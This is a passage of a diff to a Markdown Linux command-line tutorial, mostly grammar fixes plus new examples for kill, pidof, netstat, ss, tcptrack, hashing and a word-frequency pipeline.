+ * **usr/share**: shaped data used by applications, generally architecture-independent. - * **usr/src**: source code, usually for the Linux kernel. - - * **usr/local**: data and programs specific to the local machine. + * **usr/src**: source code, usually for the Linux kernel. + * **usr/local**: data and programs specific to the local machine, things that apply to a computer rather than things provided by the operating system go. +### /proc +* **/proc** contains dynamically-created virtual filesystem that contains data about each running process and the system as a whole. --- ## /dev Specials -* There exist files provided by the operating system that do not represent any physical device, but provide a way to access special features: +* There exist files provided by the operating system that does not represent any physical device, but provide a way to access special features: - * **/dev/null** ignores everything written to it. It's convenient for discarding unwanted output. + * **/dev/null** ignores everything written to it. It's convenient for discarding the unwanted output. - * **/dev/zero** contains an *infinite* numbers of zero bytes, which can be useful for creating files of a specified length. + * **/dev/zero** contains an *infinite* number of zero bytes, which can be useful for creating files of a specified length. - * **/dev/urandom** and **/dev/random** contain infinite stream of operating-system-generated random numbers, available to any application that wants to read them. The difference between them is that the second guarantees strong randomness (it will wait until enough is available) and so it should used for encryption, while the former can be used for games. + * **/dev/urandom** and **/dev/random** contain an infinite stream of operating-system-generated random numbers, available to any application that wants to read them. The difference between them is that the second guarantees strong randomness (it will wait until enough is available) and so it should be used for encryption, while the former can be used for games. * For example, to output random bytes, you can type: @@ -148,7 +122,8 @@ $ cat /dev/urandom | strings ## The Kernel -* The **Linux Kernel** is the program that manages *input/output requests* from software, and translates them into *data processing instructions* for the *central processing unit* (CPU). + +* The **Linux Kernel** is the program that manages *input/output requests* from software, and translates them into *data processing instructions* for the *central processing unit* (CPU). * To find the Kernel information you can type: @@ -157,21 +132,21 @@ $ cat /proc/version Linux version 3.14.9-200.fc20.x86_64 (mockbuild@bkernel02.phx2.fedoraproject.org) (gcc version 4.8.3 20140624 (Red Hat 4.8.3-1) (GCC) ) #1 SMP Thu Jun 26 21:40:51 UTC 2014 ``` -* You can also print similar system information with the specific command to print system information, ```uname```. The flag **-a** stands for all: +* You can also print similar system information with the specific command to print system information, ```uname```. The flag **-a** stands for all: ``` $ uname -a Linux XXXXX 3.14.9-200.fc20.x86_64 #1 SMP Thu Jun 26 21:40:51 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux ``` -* For instance, we might be interested on **checking whether you are using the latest Kernel**. You can do this by checking whether the outputs of the following commands match: +* For instance, we might be interested in **checking whether you are using the latest Kernel**. You can do this by checking whether the outputs of the following commands match: ``` $ rpm -qa kernel | sort -V | tail -n 1 $ uname -r ``` -* Additionally, for Fedora (and RPM systems) you can check what kernels are installed with: +* Additionally, for Fedora (and RPM systems) you can check what kernels are installed with: ``` $ rpm -q kernel @@ -181,7 +156,7 @@ $ rpm -q kernel --- ## Processes -* A running program is called **process**. Each process has a **owner** (in the same sense as when we talk about file permissions below). +* A running program is called **process**. Each process has an **owner** (in the same sense as when we talk about file permissions below). * You can find out which programs are running with the **ps** command. This also gives the **process ID** or **PID**, which is a unique long-term identity for the process (different copies of a given program will have separate PIDs). @@ -225,26 +200,57 @@ $ ps -e $ top ``` -* I particularly like [htop](http://hisham.hm/htop/) over top, which needs to be installed if you want to use it. +* I particularly like [htop](http://hisham.hm/htop/) over the top, which needs to be installed if you want to use it. ### kill -* To stop running a command you can use **kill**. This will send a message called **signal** to the program. There are [64 different signals](http://www.linux.org/threads/kill-commands-and-signals.4423/), some having distinct meanings from *stop running*: +* To stop running a command you can use **kill**. This will send a message called **signal** to the program. There are [64 different signals](http://www.linux.org/threads/kill-commands-and-signals.4423/), some having distinct meanings from *stop running*: ``` -$ kill <ID or PID> +$ kill <SIGNAL or OPTION> <ID or PID> ``` -* The default signal sent by kill is **SIGTERM**, telling the program that you want it to quit. This is just a request, and the program can choose to ignore it. +* A user can kill all her process but not another user's process or processes the System is using (unless it's root). -* The signal **SIGKILL** is mandatory and cause the immediate end of the process. The only exception is if the program is in the middle of making a request to the operating system, *i.e.* a system call). This is because the request needs to finish first. **SIGKILL** is the 9th signal in the list and it is usually sent with: +* The default signal sent by kill is **SIGTERM** (15), telling the program that you want it to quit. This is just a request, and the program can choose to ignore it. **SIGHUP** (1) is a less secure way of killing the process. + +* The signal **SIGKILL** is mandatory and cause the immediate end of the process. The only exception is if the program is in the middle of making a request to the operating system, *i.e.,* a system call). This is because the request needs to finish first. This is the most **unsafe** way to kill the process (check [this post from Stripe's Game Day](https://stripe.com/blog/game-day-exercises-at-stripe)). **SIGKILL** is the 9th signal in the list, and it is usually sent with: ``` $ kill -9 <ID or PID> ``` +* To know all the process with their PID, run: + +``` +$ ps -A +``` + +* To find the PID of a specific process: + +``` +$ pidof subl +``` +or + +``` +$ ps aux | grep subl +``` + +or even + +``` +$ pgrep subl +``` + * Pressing CTRL-C is a simpler way to tell the program to quit, and it sends a message called **SIGINT**. You can also specify the PID as an argument to kill. +* Another way of killing process: + +``` +$ pkill <PROCESS NAME> +``` + ### uptime @@ -256,7 +262,7 @@ $ uptime ### nice and renice -* Finally, you can change processes priority using ```nice``` (runs a program with modified scheduling priority) and ```renice```(alter priority of running processes). +* Finally, you can change processes priority using ```nice``` (runs a program with modified scheduling priority) and ```renice```(alter the priority of running processes). --- @@ -266,7 +272,7 @@ $ uptime ### set and env -* You can see the *environment variables and configuration* in your system with: +* You can see the *environment variables and configuration* in your system with: ``` $ set @@ -289,7 +295,7 @@ $ export VAR=<value> $ echo $VAR ``` -* The **PATH** (search path) is the list of directories that the shell look in to try to find a particular command. For example, when you type ```ls``` it will look at ```/bin/ls```. The path is stored in the variable **PATH**, which is a list of directory names separated by colons and it's coded inside **./bashrc**. To export a new path you can do: +* The **PATH** (search path) is the list of directories that the shell looks in to try to find a particular command. For example, when you type ```ls``` it will look at ```/bin/ls```. The path is stored in the variable **PATH**, which is a list of directory names separated by colons, and it's coded inside **./bashrc**. To export a new path you can do: ``` $ export PATH=$PATH:/<DIRECTORY> @@ -304,15 +310,15 @@ $ export PATH=$PATH:/<DIRECTORY> --- -## The "~/." Files (dot-files) +## The "~/." Files (dot-files) -* The leading dot in a file is used as an indicator to not list these files normally, but only when they are specifically requested. The reason is that, generally, dot-files are used to store configuration and sensitive information for applications. +* The leading dot in a file is used as an indicator not to list these files typically, but only when they are specifically requested. The reason is that, generally, dot-files are used to store configuration and sensitive information for applications. ### ~/.bashrc -* **~/.bashrc** contains scripts and variables that are executed when bash is invoked. +* **~/.bashrc** contains scripts and variables that are executed when Bash is invoked. -* It's a good experience to customize your **~/.bashrc**. Just google for samples, or take a look at this [site dedicated for sharing dot-files](http://dotfiles.org), or at [mine](https://github.com/mariwahl/Dotfiles-and-Bash-Examples/blob/master/configs/bashrc). Don't forget to ```source``` your **./bashrc** file every time you make a change (opening a new terminal has the same effect): +* It's a good experience to customize your **~/.bashrc**. Just google for samples, or take a look at this [site dedicated for sharing dot-files](http://dotfiles.org), or at [mine](https://github.com/go-outside-labs/Dotfiles-and-Bash-Examples/blob/master/configs/bashrc). Don't forget to ```source``` your **./bashrc** file every time you make a change (opening a new terminal has the same effect): ``` $ source ~/.bashrc @@ -320,9 +326,9 @@ $ source ~/.bashrc ### Sensitive dot-files -* If you use cryptographic programs such as [ssh](http://en.wikipedia.org/wiki/Secure_Shell) and [gpg](https://www.gnupg.org/), you'll find that they keep a lot of information in the directories **~/.ssh** and **~/.gnupg**. +* If you use cryptographic programs such as [ssh](http://en.wikipedia.org/wiki/Secure_Shell) and [gpg](https://www.gnupg.org/), you'll find that they keep a lot of information in the directories **~/.ssh** and **~/.gnupg**. -* If you are a *Firefox* user, the **~/.mozilla** directory contains your web browsing history, bookmarks, cookies, and any saved passwords. +* If you are a *Firefox* user, the **~/.mozilla** directory contains your web browsing history, bookmarks, cookies, and any saved passwords. * If you use [Pidgin](http://pidgin.im/), the **~/.purple** directory (after the name of [the IM library](https://developer.pidgin.im/wiki/WhatIsLibpurple)) contains private information. This includes sensitive cryptographic keys for users of cryptographic extensions to Pidgin such as [Off-the-Record](https://otr.cypherpunks.ca/). @@ -331,17 +337,17 @@ $ source ~/.bashrc ## File Descriptors * A **file descriptor** (FD) is a number indicator for accessing an I/O resource. The values are the following: - * fd 0: stdin (standard input). - * fd 1: stdout (standard output). - * fd 2: stderr (standard error). + * fd 0: stdin (standard input). + * fd 1: stdout (standard output). + * fd 2: stderr (standard error). -* This naming is used for manipulation of these resources in the command line. For example, to send an **input** to a program you use **<**: +* This naming is used for manipulation of these resources in the command line. For example, to send an **input** to a program, you use **<**: ``` $ <PROGRAM> < <INPUT> ``` -* To send a program's **output** somewhere else than the terminal (such as a file), you use **>**. For example, to just discard the output: +* To send a program's **output** somewhere else than the terminal (such as a file), you use **>**. For example, to just discard the output: ``` $ <PROGRAM> > /dev/null @@ -353,7 +359,7 @@ $ <PROGRAM> > /dev/null $ <PROGRAM> 2> <FILE> ``` -* To send the program's error messages to the same place where **stdout** is going, *i.e.* merging it into a single stream (this works greatly for pipelines): +* To send the program's error messages to the same place where **stdout** is going, *i.e.* merging it into a single stream (this works great for pipelines): ``` $ <PROGRAM> 2>&1 @@ -368,25 +374,25 @@ $ <PROGRAM> 2>&1 ### chmod * A resource can have three permissions: read, write, and execute: - * For a file resource, these permission are: read the file, to modify the file, and to run the file as a program. + * For a file resource, these permission are: read the file, to modify the file, and to run the file as a program. - * For a directory, these permissions are: the ability to list the directory's contents, to create and delete files inside the directory, and to access files within the directory. + * For a directory, these permissions are the ability to list the directory's contents, to create and delete files inside the directory, and to access files within the directory. * To change the permissions you use the command ```chmod```. ### chown and chgrp -* Unix permissions model does not support *access control lists* allowing a file to be shared with an enumerated list of users for a particular purpose. Instead, the admin needs to put all the users in a group and make the file to belong to that group. File owners cannot share files with an arbitrary list of users. +* Unix permissions model does not support *access control lists* allowing a file to be shared with an enumerated list of users for a particular purpose. Instead, the admin needs to put all the users in a group and make the file to belong to that group. File owners cannot share files with an arbitrary list of users. * There are three agents relate to the resource: user, group, and all. Each of them can have separated permissions to read, write, and execute. * To change the owner of a resource you use ```chown```. There are two ways of setting permissions with chmod: - * A numeric form using octal modes: read = 4, write = 2, execute = 1, where you multiply by user = x100, group = x10, all = x1, and sum the values corresponding to the granted permissions. For example 755 = 700 + 50 + 5 = rwxr-xr-x: ``` $ chmod 774 <FILENAME>``` + * A numeric form using octal modes: read = 4, write = 2, execute = 1, where you multiply by user = x100, group = x10, all = x1, and sum the values corresponding to the granted permissions. For example 755 = 700 + 50 + 5 = rwxr-xr-x: ``` $ chmod 774 <FILENAME>``` - * An abbreviated letter-based form using symbolic modes: u, g, or a, followed by a plus or minus, followed by a letter r, w, or x. This means that u+x "grants user execute permission", g-w "denies group write permission", and a+r "grants all read permission":```$ chmod g-w <FILENAME>```. + * An abbreviated letter-based form using symbolic modes: u, g, or a, followed by a plus or minus, followed by a letter r, w, or x. This means that u+x "grants user execute permission", g-w "denies group write permission", and a+r "grants all read permission":```$ chmod g-w <FILENAME>```. * To change the group you use ```chgrp```, using the same logic as for chmod. @@ -404,7 +410,7 @@ $ ls -l --- -# Shell Commands and Tricks +# Shell Commands and Tricks ## Reading Files @@ -418,7 +424,7 @@ $ cat <FILENAME> ### tac -* Prints the inverse of the content of a file in the terminal (starting from the bottom): +* Prints the inverse of the content of a file in the terminal (starting from the bottom): ``` $ tac <FILENAME> @@ -477,7 +483,7 @@ $ wc <FILENAME> ### diff and diff3 -* **diff** can be used to compare files and directories. Useful flags include: **-c** to list differences, **-r** to recursively compare subdirectories, **-i** to ignore case, and **-w** to ignore spaces and tabs. +* **diff** can be used to compare files and directories. Useful flags include: **-c** to list differences, **-r** to recursively compare subdirectories, **-i** to ignore case, and **-w** to ignore spaces and tabs. * You can compare three files at once using **diff3**, which uses one file as the reference basis for the other two. @@ -510,7 +516,7 @@ $ grep -xv <WORD> <FILENAME> ### ls -* **ls** lists directory and files. Useful flags are **-l** to list the permissions of each file in the directory and **-a** to include the dot-files: +* **ls** lists directory and files. Useful flags are **-l** to list the permissions of each file in the directory and **-a** to include the dot-files: ``` $ ls -la @@ -522,7 +528,7 @@ $ ls -la $ ls -lrS ``` -* To list the names of the 10 most recently modified files ending with .txt: +* To list the names of the ten most recently modified files ending with .txt: ``` $ ls -rt *.txt | tail -10 @@ -544,7 +550,7 @@ $ find <DIRECTORY> -name <FILENAME> ### which -* To find binaries in PATH variables: +* To find binaries in PATH variables: ``` $ which ls @@ -560,13 +566,13 @@ $ whereis <FILENAME> ### locate -* To find files by name (using database): +* To find files by name (using a database): ``` $ locate <FILENAME> ``` -* To test if a a file exist: +* To test if a file exists: ``` $ test -f <FILENAME> @@ -584,7 +590,7 @@ $ true > <FILENAME> ### tr -* **tr** takes a pair of strings as arguments and replaces, in its input, every letter that occurs in the first string by the corresponding characters in the second string. For example, to make everything lowercase: +* **tr** takes a pair of strings as arguments and replaces, in its input, every letter that occurs in the first string by the corresponding characters in the second string. For example, to make everything lowercase: ``` $ tr A-Z a-z @@ -609,9 +615,11 @@ $ tr -d '\n' $ cat "$@" | tr ``` + + ### sort -* Sort the contents of text files. The flag **-r** sort backwards, and the flag **-n** selects numeric sort order (for example, without it, 2 comes after 1000): +* Sort the contents of text files. The flag **-r** sort backward, and the flag **-n** selects numeric sort order (for example, without it, 2 comes after 1000): ``` $ sort -rn <FILENAME> @@ -626,7 +634,7 @@ $ sort <FILENAME> | uniq -c | sort -rn * To chose random lines from a file: ``` -$ sort -R <FILENAME> | head -10 +$ sort -R <FILENAME> | head -10 ``` * To combine multiple files into one sorted file: @@ -652,7 +660,7 @@ $ uniq -d <FILENAME> ### cut -* **cut** selects particular fields (columns) from a structured text files (or particular characters from each line of any text file). The flag **-d** specifies what delimiter should be used to divide columns (default is tab), the flag **-f** specifies which field or fields to print and in what order: +* **cut** selects particular fields (columns) from structured text files (or particular characters from each line of any text file). The flag **-d** specifies what delimiter should be used to divide columns (default is tab), the flag **-f** specifies which field or fields to print and in what order: ``` $ cut -d ' ' -f 2 <FILENAME> @@ -679,7 +687,7 @@ $ join <FILENAME1> <FILENAME2> ### mkdir -* **mkdir** creates a directory. An useful flag is **-p** which creates the entire path of directories (in case they don't exist): +* **mkdir** creates a directory. A useful flag is **-p** which creates the entire path of directories (in case they don't exist): ``` $ mkdir -p <DIRNAME> @@ -747,7 +755,7 @@ $ dd if=/dev/sda of=/dev/sdb $ du -sha ``` -* To see this information sorted and only the 10 largest files: +* To see this information sorted and only the ten largest files: ``` $ du -a | sort -rn | head -10 @@ -756,12 +764,12 @@ $ du -a | sort -rn | head -10 * To determine which subdirectories are taking a lot of disk space: ``` -$ du --max-depth=1 | sort -k1 -rn +$ du --max-depth=1 | sort -k1 -rn ``` ### df -* **df** shows how much disk space is used on each mounted filesystem. It displays five columns for each filesystem: the name, the size, how much is used, how much is available, percentage of use, and where it is mounted. Note the values won't add up because Unix filesystems have **reserved** storage blogs which only the root user can write to. +* **df** shows how much disk space is used on each mounted filesystem. It displays five columns for each filesystem: the name, the size, how much is used, how much is available, percentage of use, and where it is mounted. Note the values won't add up because Unix filesystems have **reserved** storage blogs which only the root user can write to. ``` $ df -h @@ -779,14 +787,20 @@ $ ifconfig * In general, you will see the following devices when you issue **ifconfig**: - * ***eth0***: shows the Ethernet card with information such as: hardware (MAC) address, IP address, and the network mask. + * ***eth0***: shows the Ethernet card with information such as: hardware (MAC) address, IP address, and the network mask. - * ***lo***: loopback address or localhost. + * ***lo***: loopback address or localhost. * **ifconfig** is supposed to be deprecated. See [my short guide on ip-netns](https://coderwall.com/p/uf_44a). +* A good trick is to change the IP address, [netmask](http://en.wikipedia.org/wiki/Subnetwork) and broadcast address for your network interface: + +``` +$ ifconfig eth0 192.168.1.115 netmask 255.255.255.0 broadcast 192.168.1.255 +``` + ### dhclient * Linux has a DHCP server that runs a daemon called ```dhcpd```, assigning IP address to all the systems on the subnet (it also keeps logs files): @@ -803,17 +817,80 @@ $ dhclient ### netstat -* **netstat** prints the network connections, routing tables, interface statistics, among others. Useful flags are **-t** for TCP, **-u** for UDP, **-l** for listening, **-p** for program, **-n** for numeric. For example: +* **netstat** prints the network connections, routing tables, interface statistics, among others. Useful flags are **-t** for TCP, **-u** for UDP, **-l** for listening, **-p** for program, **-n** for numeric. For example: + +``` +$ netstat -s +``` + +* To display all open network ports: ``` $ netstat -tulpn ``` +* Display all TCP sockets: +``` +$ netstat -nat +``` + +* Display all UDP sockets: + +``` +$ netstat -nau +``` + +* View established connections only: + +``` +$ netstat -natu | grep 'ESTABLISHED' +``` + + +### ss + + +* **ss** is used to dumps socket (network connection) statistics. + +* It can display stats for [PACKET sockets, TCP sockets, UDP sockets, DCCP sockets, RAW sockets, Unix domain sockets, and more](http://www.cyberciti.biz/tips/linux-investigate-sockets-network-connections.html). + + +``` +$ ss -s +``` + +* To display all open network ports: + +``` +$ ss -l +``` + +* To display all TCP sockets: + +``` +$ ss -t -a +``` + + +* To display all UCP sockets: + +``` +$ ss -u -a +``` + + +### tcptrack + +* **tcptrack** displays information about TCP connections it sees on a network and displays bandwidth usage on some interface by a host. + +``` +$ tcptrack -i eth0 +``` ### netcat, telnet and ssh -* To connect to a host server, you can use **netcat** (nc) and **telnet**. To connect under an encrypted session, **ssh** is used. For example, to send a string to a host at port 3000: +* To connect to a host server, you can use **netcat** (nc) and **telnet**. To connect under an encrypted session, **ssh** is used. For example, to send a string to a host at port 3000: ``` $ echo 4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e | nc localhost 3000 @@ -862,7 +939,7 @@ $ lsof -Pnl +M -i6 ### echo -* **echo** prints its arguments as output. It can be useful for pipeling, and in this case you use the flag **-n** to not output the trailing new line: +* **echo** prints its arguments as output. It can be useful for pipelining, and in this case, you use the flag **-n** not to output the trailing new line: ``` $ echo -n <FILENAME> ``` @@ -879,12 +956,24 @@ $ echo 'Done!' >&2 $ echo $PATH ``` -* Fir example, we can send the current date information to a file: +* For example, we can send the current date information to a file: ``` $ echo Completed at $(date) >> log.log ``` +### MD5 and SHA Hashing + +* You can calculate hashes straight from the command line: + +``` +$ echo -n awesome | md5sum +$ echo -n awesome | sha1sum +03d67c263c27a453ef65b29e30334727333ccbcd - +$ echo -n awesome | sha256sum +705db0603fd5431451dab1171b964b4bd575e2230f40f4c300d70df6e65f5f1c - +``` + ### bc * A calculator program is given by the command **bc** The flag **-l** stands for the standard math library: @@ -913,18 +1002,18 @@ $ echo '2*15454' | bc --- ## Regular Expression 101 -* **Regular expressions** (regex) are sequences of characters that forms a search pattern for use in pattern matching with strings. +* **Regular expressions** (regex) are sequences of characters that forms a search pattern for use in pattern matching with strings. -* Letters and numbers match themselves. Therefore, 'awesome' is a regular expression that matches 'awesome'. +* Letters and numbers match themselves. Therefore, 'awesome' is a regular expression that matches 'awesome'. * The main rules that can be used with **grep** are: - * ```.``` matches any character. - * ```*``` any number of times (including zero). - * ```.*``` matches any string (including empty). - * ```[abc]``` matches any character a or b or c. - * ```[^abc]``` matches any character other than a or b or c. - * ```^``` matches the beginning of a line. - * ```$``` matches the end of a line. + * ```.``` matches any character. + * ```*``` any number of times (including zero). + * ```.*``` matches any string (including empty). + * ```[abc]``` matches any character a or b or c. + * ```[^abc]``` matches any character other than a or b or c. + * ```^``` matches the beginning of a line. + * ```$``` matches the end of a line. * For example, to find lines in a file that begin with a particular string you can use the regex symbol **^**: @@ -938,11 +1027,11 @@ $ grep ^awesome $ grep awesome$ ``` -* As an extension, **egrep** uses a version called *extended regular expresses* (EREs) which include things such: - * ```()``` for grouping - * ```|``` for or - * ```+``` for one or more times - * ```\n``` for back-references (to refer to an additional copy of whatever was matched before by parenthesis group number n in this expression). +* As an extension, **egrep** uses a version called *extended regular expresses* (EREs) which include things such: + * ```()``` for grouping + * ```|``` for or + * ```+``` for one or more times + * ```\n``` for back-references (to refer to an additional copy of whatever was matched before by parenthesis group number n in this expression). * For instance, you can use ``` egrep '.{12}'```to find words of at least 12 letters. You can use ```egrep -x '.{12}'``` to find words of exactly twelve letters. @@ -953,17 +1042,17 @@ $ grep awesome$ ## Awk and Sed -* **awk** is a pattern scanning tool while **sed** is a stream editor for filtering and transform text. While these tools are extremely powerful, if you have knowledge of any very high level languages such as Python or Ruby, you don't necessary need to learn them. +* **awk** is a pattern scanning tool while **sed** is a stream editor for filtering and transform text. While these tools are extremely powerful, if you have knowledge of any very high-level languages such as Python or Ruby, you don't necessarily need to learn them. ### sed -* Let's say we want to replace every occurrence of *mysql* and with MySQL (Linux is case sensitive), and then save the new file to <FILENAME>. We can write an one-line command that says "search for the word mysql and replace it with the word MySQL": +* Let's say we want to replace every occurrence of *mysql* and with MySQL (Linux is case sensitive), and then save the new file to <FILENAME>. We can write a one-line command that says "search for the word mysql and replace it with the word MySQL": ``` $ sed s/mysql/MySQL/g <FILEORIGIN> > <FILEDEST> ``` -* To replace any instances of period followed by any number of spaces with a period followed by a single space in every file in this directory: +* To replace any instances of a period followed by any number of spaces with a period followed by a single space in every file in this directory: ``` $ sed -i 's/\. */. /g' * @@ -995,7 +1084,7 @@ $ at 3pm ### cron -* If you have to run processes periodically, you should use **cron**, which is already running as a [system daemon](http://en.wikipedia.org/wiki/Daemon_%28computing%29). You can add a list of tasks in a file named **crontab** and install those lists using a program also called **crontab**. **cron** checks all the installed crontab files and run cron jobs. +* If you have to run processes periodically, you should use **cron**, which is already running as a [system daemon](http://en.wikipedia.org/wiki/Daemon_%28computing%29). You can add a list of tasks in a file named **crontab** and install those lists using a program also called **crontab**. **cron** checks all the installed crontab files and run cron jobs. * To view the contents of your crontab, run: @@ -1010,7 +1099,7 @@ $ crontab -l $ crontab -e ``` -* The format of cron job is: *min, hour, day, month, dow* (day of the week, where Sunday is 0). They are separated by tabs or spaces. The symbol * means any. It's possible to specify many values with commas. +* The format of the cron job is *min, hour, day, month, dow* (day of the week, where Sunday is 0). They are separated by tabs or spaces. The symbol * means any. It's possible to specify many values with commas. * For example, to run a backup every day at 5am, edit your crontab to: @@ -1026,15 +1115,15 @@ $ crontab -e --- -## rsync +## rsync -* **rsync** performs file synchronization and file transfer. It can compress the data transferred using *zlib* and can use SSH or [stunnel](https://www.stunnel.org/index.html) to encrypt the transfer. +* **rsync** performs file synchronization and file transfer. It can compress the data transferred using *zlib* and can use SSH or [stunnel](https://www.stunnel.org/index.html) to encrypt the transfer. * **rsync** is very efficient when recursively copying one directory tree to another because only the differences are transmitted over the network. * Useful flags are: **-e** to specify the SSH as remote shell, **-a** for archive mode, **-r** for recurse into directories, and **-z** to compress file data. -* A very common set is **-av** which makes **rsync** to work recursively, preserving metadata about the files it copies, and displaying the name of each file as it is copied. For example, the command below is used to transfer some directory to the **/planning** subdirectory on a remote host: +* A very common set is **-av** which makes **rsync** to work recursively, preserving metadata about the files it copies, and displaying the name of each file as it is copied. For example, the command below is used to transfer some directory to the **/planning** subdirectory on a remote host: ``` $ rsync -av <DIRECTORY> <HOST>:/planning @@ -1047,7 +1136,7 @@ $ rsync -av <DIRECTORY> <HOST>:/planning * Historically, **tar** stood for tape archive and was used to archive files to a magnetic tape. Today **tar** is used to allow you to create or extract files from an archive file, often called a **tarball**. -* Additionally you can add *file compression*, which works by finding redundancies in a file (like repeated strings) and creating more concise representation of the file's content. The most common compression programs are **gzip** and **bzip2**. +* Additionally you can add *file compression*, which works by finding redundancies in a file (like repeated strings) and creating a more concise representation of the file's content. The most common compression programs are **gzip** and **bzip2**. * When issuing **tar**, the flag **f** must be the last option. No hyphen is needed. You can add **v** as verbose. @@ -1094,10 +1183,10 @@ $ tar Jcf <FILE.tar.xz> ---- ## Logs -* Standard logging facility can be found at ```/var/log```. For instance: - * ```/var/log/boot.log``` contains information that are logged when the system boots. - * ```/var/log/auth.log``` contains system authorization information. - * ```/var/log/dmesg``` contains kernel ring buffer information. +* Standard logging facility can be found at ```/var/log```. For instance: + * ```/var/log/boot.log``` contains information that is logged when the system boots. + * ```/var/log/auth.log``` contains system authorization information. + * ```/var/log/dmesg``` contains kernel ring buffer information. * The file ```/etc/rsyslog.conf``` controls what goes inside the log files. @@ -1120,15 +1209,15 @@ $ lastlog ## /proc and inodes * If the last link to a file is deleted but this file is open in some editor, we can still retrieve its content. This can be done, for example, by: - 1. attaching a debugger like **gdb** to the program that has the file open, + 1. attaching a debugger like **gdb** to the program that has the file open, - 2. commanding the program to read the content out of the file descriptor (the **/proc** filesystem), copying the file content directly out of the open file descriptor pseudo-file inside **/proc**. + 2. commanding the program to read the content out of the file descriptor (the **/proc** filesystem), copying the file content directly out of the open file descriptor pseudo-file inside **/proc**. -* For example, if one runs ```$ dd if=/dev/zero of=trash & sleep 10; rm trash```, the available disk space on the system will continue to go downward (since more contents gets written into the file by which **dd** is sending its output). +* For example, if one runs ```$ dd if=/dev/zero of=trash & sleep 10; rm trash```, the available disk space on the system will continue to go downward (since more contents get written into the file by which **dd** is sending its output). -* However, the file can't be seen everywhere in the system! Only killing the **dd** process will cause this space to be reclaimed. +* However, the file can't be seen everywhere in the system! Only killing the **dd** process will cause this space to be reclaimed. -* An **index node** (inode) is a data structure used to represent a filesystem object such as files or directories. The true name of a file, even when it has no other name, is in fact its *inode number* within the filesystem it was created, which can be obtained by +* An **index node** (inode) is a data structure used to represent a filesystem object such as files or directories. The true name of a file, even when it has no other name, is in fact its *inode number* within the filesystem it was created, which can be obtained by ``` $ stat ``` @@ -1141,7 +1230,7 @@ $ ls -i ``` $ echo awesome > awesome -$ cp awesome more-awesome +$ cp awesome more-awesome $ ln awesome same-awesome $ ls -i *some 7602299 awesome @@ -1152,9 +1241,9 @@ $ ls -i *some ---- ## Text, Hexdump, and Encodings -* A Linux text file contains lines consisting of zero of more text characters, followed by the **newline character** (ASCII 10, also referred to as hexadecimal 0x0A or '\n'). +* A Linux text file contains lines consisting of zero or more text characters, followed by the **newline character** (ASCII 10, also referred to as hexadecimal 0x0A or '\n'). -* A text with a single line containing the word 'Hello' in ASCII would be 6 bytes (one for each letter, and one for the trailing newline). For example, the text below: +* A text with a single line containing the word 'Hello' in ASCII would be 6 bytes (one for each letter, and one for the trailing newline). For example, the text below: ``` $ cat text.txt @@ -1167,23 +1256,23 @@ is represented as: ``` $ hexdump -c < text.txt -0000000 H e l l o e v e r y o n e ! \n -0000010 L i n u x i s r e a l l y -0000020 c o o l . \n L e t ' s l e a r -0000030 n m o r e ! \n +0000000 H e l l o e v e r y o n e ! \n +0000010 L i n u x i s r e a l l y +0000020 c o o l . \n L e t ' s l e a r +0000030 n m o r e ! \n 0000038 ``` * The numbers displayed at left are the hexadecimal byte offsets of each output line in the file. -* Unlike text files on other operating systems, Linux files does not end with a special end-of-file character. +* Unlike text files on other operating systems, Linux files do not end with a special end-of-file character. -* Linux text files were traditionally always interpreted as **ASCII**. In ASCII, each character is a single byte, the ASCII standard as such defines exactly **128 characters** from **ASCII 0 to ASCII 127**. Some of them are non-printable (such as newline). The printable stats at **32**. In that case, **ISO 8859** standards were extensions to ASCII where the character positions **128 to 255** are given foreign-language interpretation. +* Linux text files were traditionally always interpreted as **ASCII**. In ASCII, each character is a single byte, the ASCII standard as such defines exactly **128 characters** from **ASCII 0 to ASCII 127**. Some of them are non-printable (such as a newline). The printable starts at **32**. In that case, **ISO 8859** standards were extensions to ASCII where the character positions **128 to 255** are given a foreign-language interpretation. * Nowadays, Linux files are most often interpreted as **UTF-8**, which is an encoding of **Unicode**, a character set standard able to represent a very large number of languages. -* For East asian languages, **UTF-8 **chars are interpreted with **3 bytes** and **UTF-16** chars are interpreted with **2 bytes**. For western languages (such as German, for example), **UTF-16** characters are interpreted with **2 bytes**, and all the regular characters have **00** in front of it. +* For East Asian languages, **UTF-8 **chars are interpreted with **3 bytes** and **UTF-16** chars are interpreted with **2 bytes**. For western languages (such as German, for example), **UTF-16** characters are interpreted with **2 bytes**, and all the regular characters have **00** in front of it. * In **UTF-16**, sentences start with two bytes **fe ff** (decimal 254 255) which don't encode as any part of the text. These are the **Unicode byte order mark** (BOM), which guards against certain kinds of encoding errors [1]. @@ -1197,7 +1286,7 @@ $ recode iso8859-1..utf-8 * This is useful if you see a **mojibake**, which is a character set encoding mismatch bug. -* There are only two mandatory rules about characters that can't appear in filename: null bytes (bytes that have numeric value zero) and forward slashes **/**. +* There are only two mandatory rules about characters that can't appear in the filename: null bytes (bytes that have numeric value zero) and forward slashes **/**. @@ -1212,9 +1301,9 @@ $ recode iso8859-1..utf-8 ``` genpass() { - local p=$1 - [ "$p" == "" ] && p=16 - tr -dc A-Za-z0-9_ < /dev/urandom | head -c ${p} | xargs + local p=$1 + [ "$p" == "" ] && p=16 + tr -dc A-Za-z0-9_ < /dev/urandom | head -c ${p} | xargs } ``` @@ -1237,6 +1326,30 @@ $ genpass 14 ZEfgQvpY4ixePt ``` +--- + +## Most Common words plus Frequency + + +* We can use the commands we learned to build a script that prints the most common words plus their frequency: + +``` +tr -cs A-Za-z '\n' | +tr A-Z a-z | +sort | +uniq -c | +sort -rn | +sed ${1}q +``` + +* This is the same as splitting and tokenizing the file using Python: + +``` +import sys, collections +def common_words(n): + return collections.Counter(sys.stdin.read().lower().split()).most_common(n) +``` + --- ## Password Asterisks @@ -1250,14 +1363,14 @@ $ sudo visudo to have the value: ``` -Defaults pwfeedback +Defaults pwfeedback ``` ---- ## imagemagick -* You can create a gif file from terminal with ***imagemagick***: +* You can create a gif file from terminal with ***imagemagick***: ``` $ mogrify -resize 640x480 *.jpg @@ -1273,3 +1386,70 @@ $ convert -delay 20 -loop 0 *.jpg myimage.gif +----------------- + +# Further References: + +- Unix: Culture and Command-Line, Seth Schoen + +- [Understand STDERROR, STDOUT, STDIN](http://null-byte.wonderhowto.com/how-to/hack-like-pro-linux-basics-for-aspiring-hacker-part-16-stdin-stdout-stderror-0150693/). + +- [Introduction to filesystems](http://www.howtogeek.com/196051/htg-explains-what-is-a-file-system-and-why-are-there-so-many-of-them). + +- [Guide to 